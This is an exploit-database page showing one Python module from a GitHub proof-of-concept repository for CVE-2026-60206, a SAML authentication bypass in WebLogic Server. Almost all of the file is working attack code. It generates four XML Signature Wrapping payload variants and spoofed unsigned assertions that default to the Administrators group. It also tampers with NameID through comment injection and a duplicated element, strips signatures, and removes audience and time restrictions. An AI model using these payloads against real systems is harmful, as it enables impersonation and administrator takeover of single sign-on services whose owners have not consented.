Exploit database

GH-36d1db1525926e40077bcc7bf6e700f5

imbas007/poc-cve-2026-60206

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-60206

4 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files4
imbas007/poc-cve-2026-60206Revision ff8962e19cd2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

modules/samlib.py

Python · 33,868 bytes
#!/usr/bin/env python3
"""
SAML Manipulation Library for CVE-2026-60206
============================================

Provides SAML assertion building, signing, parsing, and attack vector
implementations for WebLogic Server SAML authentication bypass.

Attack Vectors:
  1. XML Signature Wrapping (XSW)  — structural XML manipulation
  2. Unsigned Assertion Injection   — missing signature acceptance
  3. NameID Manipulation            — identity confusion
  4. Audience Restriction Bypass    — scope bypass
  5. Conditions/Time Bypass         — validity bypass
"""

import re
import uuid
import base64
import hashlib
from enum import Enum
from datetime import datetime, timedelta
from typing import Optional, Tuple, List
from xml.dom import minidom
from xml.etree import ElementTree as ET

try:
    from lxml import etree
    HAS_LXML = True
except ImportError:
    HAS_LXML = False

try:
    from signxml import XMLSigner, XMLVerifier
    from cryptography.hazmat.primitives import hashes
    from cryptography.hazmat.primitives.asymmetric import rsa
    from cryptography.hazmat.backends import default_backend
    from cryptography.x509 import (
        CertificateBuilder, Name, NameAttribute,
        random_serial_number, BasicConstraints,
    )
    from cryptography.hazmat.primitives.serialization import (
        Encoding, PrivateFormat, NoEncryption,
    )
    HAS_CRYPTO = True
except ImportError:
    HAS_CRYPTO = False


# ── Namespace constants ─────────────────────────────────────────────────────

NS_SAML2P = "urn:oasis:names:tc:SAML:2.0:protocol"
NS_SAML2 = "urn:oasis:names:tc:SAML:2.0:assertion"
NS_DS = "http://www.w3.org/2000/09/xmldsig#"
NS_XS = "http://www.w3.org/2001/XMLSchema"
NS_XSI = "http://www.w3.org/2001/XMLSchema-instance"

NAMESPACES = {
    "saml2p": NS_SAML2P,
    "saml2": NS_SAML2,
    "ds": NS_DS,
    "xs": NS_XS,
    "xsi": NS_XSI,
}

# ── Enums ───────────────────────────────────────────────────────────────────

class NameIDFormat(Enum):
    UNSPECIFIED = "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified"
    EMAIL = "urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress"
    X509 = "urn:oasis:names:tc:SAML:1.1:nameid-format:X509SubjectName"
    WINDOWS = "urn:oasis:names:tc:SAML:1.1:nameid-format:WindowsDomainQualifiedName"
    KERBEROS = "urn:oasis:names:tc:SAML:2.0:nameid-format:kerberos"
    ENTITY = "urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
    PERSISTENT = "urn:oasis:names:tc:SAML:2.0:nameid-format:persistent"
    TRANSIENT = "urn:oasis:names:tc:SAML:2.0:nameid-format:transient"


class SubjectConfirmationMethod(Enum):
    BEARER = "urn:oasis:names:tc:SAML:2.0:cm:bearer"
    SENDER_VOUCHES = "urn:oasis:names:tc:SAML:2.0:cm:sender-vouches"
    HOLDER_OF_KEY = "urn:oasis:names:tc:SAML:2.0:cm:holder-of-key"


class AuthnContextClass(Enum):
    PASSWORD = "urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport"
    PASSWORD_UNPROTECTED = "urn:oasis:names:tc:SAML:2.0:ac:classes:Password"
    TLS_CLIENT = "urn:oasis:names:tc:SAML:2.0:ac:classes:TLSClient"
    X509 = "urn:oasis:names:tc:SAML:2.0:ac:classes:X509"
    KERBEROS = "urn:oasis:names:tc:SAML:2.0:ac:classes:Kerberos"
    PREVIOUS_SESSION = "urn:oasis:names:tc:SAML:2.0:ac:classes:PreviousSession"


# ── SAML assertion builder ──────────────────────────────────────────────────

class SAMLAssertion:
    """Represents a SAML 2.0 Assertion."""

    def __init__(self, assertion_id: Optional[str] = None):
        self.id = assertion_id or generate_id("_assertion")
        self.issue_instant = datetime.utcnow()
        self.version = "2.0"
        self.issuer: Optional[str] = None
        self.subject: Optional[str] = None
        self.subject_format = NameIDFormat.UNSPECIFIED
        self.subject_confirmation = SubjectConfirmationMethod.BEARER
        self.conditions_not_before: Optional[datetime] = None
        self.conditions_not_on_or_after: Optional[datetime] = None
        self.audience: Optional[str] = None
        self.authn_instant: Optional[datetime] = None
        self.authn_context = AuthnContextClass.PASSWORD
        self.session_index: Optional[str] = None
        self.attributes: dict = {}
        self.recipient: Optional[str] = None
        self.groups: Optional[str] = None
        self.signature: Optional[str] = None
        self.signed = False

    def to_xml(self, include_signature: bool = True,
               pretty: bool = False) -> str:
        """Serialize assertion to XML string."""
        now = datetime.utcnow()
        not_before = (self.conditions_not_before or
                      (now - timedelta(minutes=5)))
        not_on_or_after = (self.conditions_not_on_or_after or
                           (now + timedelta(hours=1)))

        lines = []
        lines.append(f'<saml2:Assertion ID="{self.id}" '
                     f'IssueInstant="{fmt_time(self.issue_instant)}" '
                     f'Version="{self.version}" '
                     f'xmlns:saml2="{NS_SAML2}" '
                     f'xmlns:xs="{NS_XS}" '
                     f'xmlns:xsi="{NS_XSI}">')

        # Issuer
        if self.issuer:
            lines.append(f'  <saml2:Issuer '
                         f'Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">'
                         f'{self.issuer}</saml2:Issuer>')

        # Signature (if signed)
        if include_signature and self.signature:
            lines.append(self.signature)
        elif include_signature and self.signed:
            lines.append(self._placeholder_signature())

        # Subject
        lines.append(f'  <saml2:Subject>')
        lines.append(f'    <saml2:NameID Format="{self.subject_format.value}">'
                     f'{self.subject}</saml2:NameID>')
        lines.append(f'    <saml2:SubjectConfirmation '
                     f'Method="{self.subject_confirmation.value}">')
        if self.recipient:
            lines.append(f'      <saml2:SubjectConfirmationData '
                         f'NotOnOrAfter="{fmt_time(not_on_or_after)}" '
                         f'Recipient="{self.recipient}"/>')
        else:
            lines.append(f'      <saml2:SubjectConfirmationData '
                         f'NotOnOrAfter="{fmt_time(not_on_or_after)}"/>')
        lines.append(f'    </saml2:SubjectConfirmation>')
        lines.append(f'  </saml2:Subject>')

        # Conditions
        lines.append(f'  <saml2:Conditions '
                     f'NotBefore="{fmt_time(not_before)}" '
                     f'NotOnOrAfter="{fmt_time(not_on_or_after)}">')
        if self.audience:
            lines.append(f'    <saml2:AudienceRestriction>')
            lines.append(f'      <saml2:Audience>{self.audience}</saml2:Audience>')
            lines.append(f'    </saml2:AudienceRestriction>')
        lines.append(f'  </saml2:Conditions>')

        # AuthnStatement
        session_attr = f' SessionIndex="{self.session_index}"' if self.session_index else ""
        lines.append(f'  <saml2:AuthnStatement '
                     f'AuthnInstant="{fmt_time(self.authn_instant or now)}"'
                     f'{session_attr}>')
        lines.append(f'    <saml2:AuthnContext>')
        lines.append(f'      <saml2:AuthnContextClassRef>'
                     f'{self.authn_context.value}</saml2:AuthnContextClassRef>')
        lines.append(f'    </saml2:AuthnContext>')
        lines.append(f'  </saml2:AuthnStatement>')

        # AttributeStatement
        if self.attributes or self.groups or self.subject:
            lines.append(f'  <saml2:AttributeStatement>')

            # UID attribute
            if self.subject:
                lines.append(f'    <saml2:Attribute Name="uid" '
                             f'NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">')
                lines.append(f'      <saml2:AttributeValue '
                             f'xsi:type="xs:string">{self.subject}</saml2:AttributeValue>')
                lines.append(f'    </saml2:Attribute>')

            # Groups attribute
            if self.groups:
                lines.append(f'    <saml2:Attribute Name="groups" '
                             f'NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">')
                lines.append(f'      <saml2:AttributeValue '
                             f'xsi:type="xs:string">{self.groups}</saml2:AttributeValue>')
                lines.append(f'    </saml2:Attribute>')

            # Custom attributes
            for attr_name, attr_value in self.attributes.items():
                lines.append(f'    <saml2:Attribute Name="{attr_name}" '
                             f'NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">')
                if isinstance(attr_value, list):
                    for v in attr_value:
                        lines.append(f'      <saml2:AttributeValue '
                                     f'xsi:type="xs:string">{v}</saml2:AttributeValue>')
                else:
                    lines.append(f'      <saml2:AttributeValue '
                                 f'xsi:type="xs:string">{attr_value}</saml2:AttributeValue>')
                lines.append(f'    </saml2:Attribute>')

            lines.append(f'  </saml2:AttributeStatement>')

        lines.append(f'</saml2:Assertion>')
        return "\n".join(lines)

    def _placeholder_signature(self) -> str:
        """Generate a placeholder/self-signed signature block."""
        return f'''  <ds:Signature xmlns:ds="{NS_DS}">
    <ds:SignedInfo>
      <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
      <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
      <ds:Reference URI="#{self.id}">
        <ds:Transforms>
          <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
          <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
        </ds:Transforms>
        <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
        <ds:DigestValue>PLACEHOLDER_DIGEST_VALUE</ds:DigestValue>
      </ds:Reference>
    </ds:SignedInfo>
    <ds:SignatureValue>PLACEHOLDER_SIGNATURE_VALUE</ds:SignatureValue>
    <ds:KeyInfo>
      <ds:X509Data>
        <ds:X509Certificate>PLACEHOLDER_CERTIFICATE</ds:X509Certificate>
      </ds:X509Data>
    </ds:KeyInfo>
  </ds:Signature>'''


class SAMLResponse:
    """Represents a SAML 2.0 Response."""

    def __init__(self, response_id: Optional[str] = None):
        self.id = response_id or generate_id("_response")
        self.issue_instant = datetime.utcnow()
        self.version = "2.0"
        self.destination: Optional[str] = None
        self.issuer: Optional[str] = None
        self.status_code = "urn:oasis:names:tc:SAML:2.0:status:Success"
        self.assertions: List[SAMLAssertion] = []
        self.in_response_to: Optional[str] = None

    def to_xml(self, pretty: bool = False) -> str:
        """Serialize response to XML."""
        lines = []
        dest_attr = f' Destination="{self.destination}"' if self.destination else ""
        inresp_attr = f' InResponseTo="{self.in_response_to}"' if self.in_response_to else ""
        lines.append(f'<saml2p:Response '
                     f'xmlns:saml2p="{NS_SAML2P}" '
                     f'xmlns:saml2="{NS_SAML2}" '
                     f'xmlns:ds="{NS_DS}" '
                     f'ID="{self.id}" '
                     f'Version="{self.version}" '
                     f'IssueInstant="{fmt_time(self.issue_instant)}"'
                     f'{dest_attr}'
                     f'{inresp_attr}>')

        # Issuer
        if self.issuer:
            lines.append(f'  <saml2:Issuer '
                         f'Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">'
                         f'{self.issuer}</saml2:Issuer>')

        # Status
        lines.append(f'  <saml2p:Status>')
        lines.append(f'    <saml2p:StatusCode Value="{self.status_code}"/>')
        lines.append(f'  </saml2p:Status>')

        # Assertions
        for assertion in self.assertions:
            assertion_xml = assertion.to_xml(pretty=pretty)
            # Indent assertion under response
            for line in assertion_xml.split("\n"):
                lines.append(f"  {line}")

        lines.append(f'</saml2p:Response>')
        return "\n".join(lines)


class SAMLBuilder:
    """Builds SAML responses and assertions for attack purposes."""

    def __init__(self):
        self.default_issuer = None
        self.default_audience = None

    def build_assertion(self,
                        subject: str,
                        issuer: str,
                        audience: str,
                        recipient: str,
                        groups: str = "Users",
                        signed: bool = False,
                        validity_hours: int = 1,
                        nameid_format: NameIDFormat = NameIDFormat.UNSPECIFIED,
                        extra_attrs: Optional[dict] = None) -> str:
        """Build a complete SAML assertion as XML string."""
        assertion = SAMLAssertion()
        assertion.subject = subject
        assertion.subject_format = nameid_format
        assertion.issuer = issuer
        assertion.audience = audience
        assertion.recipient = recipient
        assertion.groups = groups
        assertion.signed = signed

        now = datetime.utcnow()
        assertion.conditions_not_before = now - timedelta(minutes=5)
        assertion.conditions_not_on_or_after = now + timedelta(hours=validity_hours)
        assertion.authn_instant = now

        if extra_attrs:
            assertion.attributes = extra_attrs

        return assertion.to_xml()

    def build_response(self,
                       assertions: List[str],
                       destination: str,
                       issuer: str,
                       encode: bool = False) -> Tuple[str, Optional[str]]:
        """Build a SAML Response containing the given assertions.

        Returns (raw_xml, base64_encoded_xml).
        """
        response = SAMLResponse()
        response.destination = destination
        response.issuer = issuer

        for assertion_xml in assertions:
            # Parse and add
            assertion = SAMLAssertion()
            assertion.subject = "extracted"
            assertion.issuer = issuer
            assertion.audience = destination
            response.assertions.append(assertion)

        raw_xml = response.to_xml()
        b64 = None
        if encode:
            b64 = base64.b64encode(raw_xml.encode()).decode()

        return raw_xml, b64


# ── XML Signature Wrapping (XSW) ────────────────────────────────────────────

class XMLSignatureWrapper:
    """Generates XML Signature Wrapping (XSW) attack payloads.

    XSW attacks exploit differences between how the XML signature
    validator and the SAML application logic locate and process
    assertion elements within a SAML response.
    """

    XSW_TEMPLATES = {
        "xsw1": {
            "name": "Simple Wrapper (malicious before original)",
            "description": "Insert malicious unsigned assertion before the signed one",
            "strategy": "prepend",
        },
        "xsw2": {
            "name": "ID Confusion (same ID as original)",
            "description": "Malicious assertion reuses the original assertion ID",
            "strategy": "prepend_same_id",
        },
        "xsw3": {
            "name": "Nested Wrapper",
            "description": "Malicious assertion wraps/contains the original signed one",
            "strategy": "wrap",
        },
        "xsw4": {
            "name": "Sibling at Same Level",
            "description": "Malicious assertion as prior sibling in document order",
            "strategy": "sibling",
        },
    }

    @classmethod
    def generate(cls,
                 malicious_assertion: str,
                 original_assertion: str,
                 variant: str = "xsw1",
                 destination: str = "",
                 issuer: str = "") -> str:
        """Generate an XSW attack SAML Response.

        Args:
            malicious_assertion: The unsigned assertion that will be
                                 accepted by the application.
            original_assertion: A valid signed assertion (or placeholder)
                                that passes signature verification.
            variant: XSW variant (xsw1-xsw4).
            destination: SAML ACS destination URL.
            issuer: SAML issuer entity ID.

        Returns:
            Complete SAML Response XML with XSW attack.
        """
        now = datetime.utcnow()
        response_id = generate_id("_xsw_resp")

        if variant == "xsw1":
            # Simple prepend: malicious assertion before original
            return f'''<?xml version="1.0" encoding="UTF-8"?>
<saml2p:Response
    xmlns:saml2p="{NS_SAML2P}"
    xmlns:saml2="{NS_SAML2}"
    xmlns:ds="{NS_DS}"
    Destination="{destination}"
    ID="{response_id}"
    IssueInstant="{fmt_time(now)}"
    Version="2.0">
    <saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
        {issuer}
    </saml2:Issuer>
    <saml2p:Status>
        <saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
    </saml2p:Status>
    <!-- ═══ MALICIOUS ASSERTION (processed by application) ═══ -->
    {malicious_assertion}
    <!-- ═══ ORIGINAL SIGNED ASSERTION (passes signature check) ═══ -->
    {original_assertion}
</saml2p:Response>'''

        elif variant == "xsw2":
            # Extract the ID from original assertion and reuse it
            orig_id_match = re.search(r'ID="([^"]+)"', original_assertion)
            dup_id = orig_id_match.group(1) if orig_id_match else generate_id("_dup")

            # Replace the malicious assertion's ID with the original's ID
            malicious_modified = re.sub(
                r'ID="[^"]*"',
                f'ID="{dup_id}"',
                malicious_assertion,
                count=1,
            )

            return f'''<?xml version="1.0" encoding="UTF-8"?>
<saml2p:Response
    xmlns:saml2p="{NS_SAML2P}"
    xmlns:saml2="{NS_SAML2}"
    xmlns:ds="{NS_DS}"
    Destination="{destination}"
    ID="{response_id}"
    IssueInstant="{fmt_time(now)}"
    Version="2.0">
    <saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
        {issuer}
    </saml2:Issuer>
    <saml2p:Status>
        <saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
    </saml2p:Status>
    <!-- Both assertions share the same ID -->
    {malicious_modified}
    {original_assertion}
</saml2p:Response>'''

        elif variant == "xsw3":
            # Nested: malicious assertion wraps the original
            # Strip the closing </saml2:Assertion> from malicious
            malicious_opening = malicious_assertion.rsplit(
                "</saml2:Assertion>", 1
            )[0]

            return f'''<?xml version="1.0" encoding="UTF-8"?>
<saml2p:Response
    xmlns:saml2p="{NS_SAML2P}"
    xmlns:saml2="{NS_SAML2}"
    xmlns:ds="{NS_DS}"
    Destination="{destination}"
    ID="{response_id}"
    IssueInstant="{fmt_time(now)}"
    Version="2.0">
    <saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
        {issuer}
    </saml2:Issuer>
    <saml2p:Status>
        <saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
    </saml2p:Status>
    <!-- Malicious assertion wraps original -->
    {malicious_opening}
      <!-- Original signed assertion is nested inside -->
      {original_assertion}
    </saml2:Assertion>
</saml2p:Response>'''

        elif variant == "xsw4":
            # Sibling: both assertions at same level, malicious first
            return f'''<?xml version="1.0" encoding="UTF-8"?>
<saml2p:Response
    xmlns:saml2p="{NS_SAML2P}"
    xmlns:saml2="{NS_SAML2}"
    xmlns:ds="{NS_DS}"
    Destination="{destination}"
    ID="{response_id}"
    IssueInstant="{fmt_time(now)}"
    Version="2.0">
    <saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
        {issuer}
    </saml2:Issuer>
    <saml2p:Status>
        <saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
    </saml2p:Status>
    <!-- First (malicious) assertion — may be selected by application -->
    {malicious_assertion}
    <!-- Second (signed) assertion — passes signature verification -->
    {original_assertion}
</saml2p:Response>'''

        else:
            raise ValueError(f"Unknown XSW variant: {variant}")


# ── Convenience functions ───────────────────────────────────────────────────

def generate_id(prefix: str = "_id") -> str:
    """Generate a unique SAML ID."""
    return f"{prefix}{uuid.uuid4().hex[:16]}"


def fmt_time(dt: datetime) -> str:
    """Format datetime as SAML-compatible UTC timestamp."""
    return dt.strftime("%Y-%m-%dT%H:%M:%SZ")


def strip_signature(saml_xml: str) -> str:
    """Remove all signature-related elements from SAML XML."""
    # Remove <ds:Signature> ... </ds:Signature>
    saml_xml = re.sub(
        r'<ds:Signature[^>]*>.*?</ds:Signature>',
        '',
        saml_xml,
        flags=re.DOTALL,
    )
    # Remove ds: namespace declaration if present
    saml_xml = re.sub(
        r'\s+xmlns:ds="[^"]*"',
        '',
        saml_xml,
    )
    return saml_xml


def inject_xsw_wrapping(malicious_assertion: str,
                        original_assertion: str,
                        variant: str = "xsw1",
                        destination: str = "") -> str:
    """Generate XSW attack SAML response."""
    return XMLSignatureWrapper.generate(
        malicious_assertion=malicious_assertion,
        original_assertion=original_assertion,
        variant=variant,
        destination=destination,
    )


def create_spoofed_assertion(username: str,
                             issuer: str,
                             audience: str,
                             recipient: str,
                             groups: str = "Administrators") -> str:
    """Create a completely spoofed (unsigned) SAML assertion."""
    builder = SAMLBuilder()
    return builder.build_assertion(
        subject=username,
        issuer=issuer,
        audience=audience,
        recipient=recipient,
        groups=groups,
        signed=False,
    )


def tamper_nameid(assertion_xml: str,
                  source_name: str,
                  target_name: str,
                  technique: str = "comment_injection") -> str:
    """Manipulate NameID to confuse identity mapping.

    Techniques:
      - comment_injection: source<!-- -->target (WebLogic CVE-2018-2998 style)
      - whitespace: source\\ntarget (newline confusion)
      - format_confusion: Change NameID format to confuse mapper
      - xpath_injection: Inject XML into NameID value
    """
    if technique == "comment_injection":
        # Insert XML comment between source and target
        # WebLogic's name mapper only processes text AFTER the comment
        tampered_nameid = f"{source_name}<!-- -->{target_name}"
        assertion_xml = re.sub(
            r'(<saml2:NameID[^>]*>)[^<]*(</saml2:NameID>)',
            f'\\g<1>{tampered_nameid}\\g<2>',
            assertion_xml,
            count=1,
        )

    elif technique == "whitespace":
        # Use newline to split the name — some parsers take last line
        tampered_nameid = f"{source_name}\n{target_name}"
        assertion_xml = re.sub(
            r'(<saml2:NameID[^>]*>)[^<]*(</saml2:NameID>)',
            f'\\g<1>{tampered_nameid}\\g<2>',
            assertion_xml,
            count=1,
        )

    elif technique == "format_confusion":
        # Change format to emailAddress and use email-style confusion
        tampered_nameid = f"{source_name}@attacker.com"
        assertion_xml = re.sub(
            r'Format="[^"]*"',
            'Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress"',
            assertion_xml,
            count=1,
        )
        assertion_xml = re.sub(
            r'(<saml2:NameID[^>]*>)[^<]*(</saml2:NameID>)',
            f'\\g<1>{tampered_nameid}\\g<2>',
            assertion_xml,
            count=1,
        )

    elif technique == "xpath_injection":
        # Inject a second NameID element — some parsers use last one
        assertion_xml = re.sub(
            r'(<saml2:NameID[^>]*>)[^<]*(</saml2:NameID>)',
            f'\\g<1>{source_name}\\g<2>\n'
            f'    <saml2:NameID '
            f'Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">'
            f'{target_name}</saml2:NameID>',
            assertion_xml,
            count=1,
        )

    return assertion_xml


def bypass_audience_restriction(assertion_xml: str,
                                variant: str = "remove_audience") -> str:
    """Modify or remove AudienceRestriction to bypass scope checks.

    Variants:
      - remove_audience: Completely remove AudienceRestriction
      - wildcard_audience: Set audience to wildcard/target-all
      - extra_audience: Add additional audience entries
    """
    if variant == "remove_audience":
        # Remove entire AudienceRestriction element
        assertion_xml = re.sub(
            r'<saml2:AudienceRestriction>.*?</saml2:AudienceRestriction>',
            '',
            assertion_xml,
            flags=re.DOTALL,
        )

    elif variant == "wildcard_audience":
        # Replace audience value with wildcard or common SP identifiers
        for wildcard in ["*", "urn:all", "sp:default"]:
            assertion_xml = re.sub(
                r'(<saml2:Audience>)[^<]*(</saml2:Audience>)',
                f'\\g<1>{wildcard}\\g<2>',
                assertion_xml,
                count=1,
            )

    elif variant == "extra_audience":
        # Add extra audience entries
        extra_audiences = (
            "<saml2:Audience>*</saml2:Audience>\n"
            "      <saml2:Audience>https://</saml2:Audience>"
        )
        assertion_xml = re.sub(
            r'(</saml2:Audience>)',
            f'\\g<1>\n      {extra_audiences}',
            assertion_xml,
            count=1,
        )

    return assertion_xml


def bypass_conditions(assertion_xml: str,
                      variant: str = "infinite_validity") -> str:
    """Manipulate Conditions element to bypass time/validity checks.

    Variants:
      - future_timestamp: Set NotBefore far in the future
      - expired_timestamp: Use very old timestamps (some validators fail open)
      - remove_conditions: Remove Conditions element entirely
      - infinite_validity: Set NotOnOrAfter 100 years in the future
    """
    now = datetime.utcnow()

    if variant == "future_timestamp":
        future = now + timedelta(days=365)
        assertion_xml = re.sub(
            r'NotBefore="[^"]*"',
            f'NotBefore="{fmt_time(future)}"',
            assertion_xml,
        )

    elif variant == "expired_timestamp":
        past = now - timedelta(days=3650)
        # Set both dates far in past — some implementations fail open
        assertion_xml = re.sub(
            r'NotBefore="[^"]*"',
            f'NotBefore="{fmt_time(past)}"',
            assertion_xml,
        )
        assertion_xml = re.sub(
            r'NotOnOrAfter="[^"]*"',
            f'NotOnOrAfter="{fmt_time(past + timedelta(days=1))}"',
            assertion_xml,
        )

    elif variant == "remove_conditions":
        # Remove Conditions element completely
        assertion_xml = re.sub(
            r'<saml2:Conditions[^>]*>.*?</saml2:Conditions>',
            '',
            assertion_xml,
            flags=re.DOTALL,
        )

    elif variant == "infinite_validity":
        # Set NotOnOrAfter far in the future (100 years)
        far_future = now + timedelta(days=36525)
        assertion_xml = re.sub(
            r'NotOnOrAfter="[^"]*"',
            f'NotOnOrAfter="{fmt_time(far_future)}"',
            assertion_xml,
        )

    return assertion_xml


# ── SAML Parsing Utilities ──────────────────────────────────────────────────

class SAMLUtils:
    """SAML parsing and analysis utilities."""

    @staticmethod
    def parse_assertion(xml_string: str) -> Optional[dict]:
        """Parse a SAML assertion and extract key fields."""
        result = {}
        try:
            root = ET.fromstring(xml_string)
        except ET.ParseError:
            return None

        # Find NameID
        nameid_elem = root.find(".//{urn:oasis:names:tc:SAML:2.0:assertion}NameID")
        if nameid_elem is not None:
            result["nameid"] = nameid_elem.text
            result["nameid_format"] = nameid_elem.get("Format")

        # Find Issuer
        issuer_elem = root.find(".//{urn:oasis:names:tc:SAML:2.0:assertion}Issuer")
        if issuer_elem is not None:
            result["issuer"] = issuer_elem.text

        # Check for signature
        sig_elem = root.find(".//{http://www.w3.org/2000/09/xmldsig#}Signature")
        result["has_signature"] = sig_elem is not None

        # Get audience
        audience_elem = root.find(
            ".//{urn:oasis:names:tc:SAML:2.0:assertion}Audience"
        )
        if audience_elem is not None:
            result["audience"] = audience_elem.text

        # Get conditions
        conditions_elem = root.find(
            ".//{urn:oasis:names:tc:SAML:2.0:assertion}Conditions"
        )
        if conditions_elem is not None:
            result["not_before"] = conditions_elem.get("NotBefore")
            result["not_on_or_after"] = conditions_elem.get("NotOnOrAfter")

        return result

    @staticmethod
    def is_signed(xml_string: str) -> bool:
        """Check if a SAML message contains a digital signature."""
        return "<ds:Signature" in xml_string or "<Signature" in xml_string

    @staticmethod
    def extract_attributes(xml_string: str) -> dict:
        """Extract all AttributeStatement attributes."""
        attrs = {}
        try:
            root = ET.fromstring(xml_string)
        except ET.ParseError:
            return attrs

        for attr_elem in root.findall(
            ".//{urn:oasis:names:tc:SAML:2.0:assertion}Attribute"
        ):
            name = attr_elem.get("Name", "")
            values = [
                v.text or ""
                for v in attr_elem.findall(
                    "{urn:oasis:names:tc:SAML:2.0:assertion}AttributeValue"
                )
            ]
            attrs[name] = values if len(values) > 1 else (values[0] if values else "")

        return attrs


# ── Attack Vector Definitions ───────────────────────────────────────────────

class SAMLAttackVectors:
    """Collection of SAML attack vector descriptions and references.

    Maps attack types to known CVE references and research papers.
    """

    VECTORS = {
        "xsw": {
            "name": "XML Signature Wrapping",
            "cve_references": ["CVE-2016-5697", "CVE-2014-8537"],
            "paper": "On Breaking SAML: Be Whoever You Want to Be (USENIX 2012)",
            "description": (
                "Exploits differences between how the XML signature validator "
                "and the SAML processor locate assertion elements. By placing "
                "a malicious assertion before (or wrapping) the signed one, "
                "the validator sees the signed assertion and passes, while the "
                "application picks up the malicious one."
            ),
        },
        "unsigned": {
            "name": "Unsigned Assertion Acceptance",
            "cve_references": ["CVE-2018-2933"],
            "paper": "WebLogic SAML Vulnerabilities (Pulse Security, 2018)",
            "description": (
                "When WantAssertionsSigned is not enforced, the SAML SP accepts "
                "completely unsigned assertions. Attackers can craft arbitrary "
                "assertions for any user."
            ),
        },
        "nameid": {
            "name": "NameID Manipulation",
            "cve_references": ["CVE-2018-2998"],
            "paper": "WebLogic SAML NameID XML Comment Injection (Pulse Security, 2018)",
            "description": (
                "Manipulates the NameID field so the identity mapper resolves "
                "a different user than who was authenticated. XML comment "
                "injection exploits the mapper only processing text after the comment."
            ),
        },
        "audience": {
            "name": "Audience Restriction Bypass",
            "cve_references": [],
            "paper": "SAML 2.0 Security Analysis",
            "description": (
                "Modifies AudienceRestriction so the assertion is valid "
                "for a wider set of service providers than intended."
            ),
        },
        "conditions": {
            "name": "Conditions/Time Bypass",
            "cve_references": [],
            "paper": "SAML 2.0 Threat Model",
            "description": (
                "Removes or manipulates Conditions to bypass time-based "
                "and other restriction checks."
            ),
        },
    }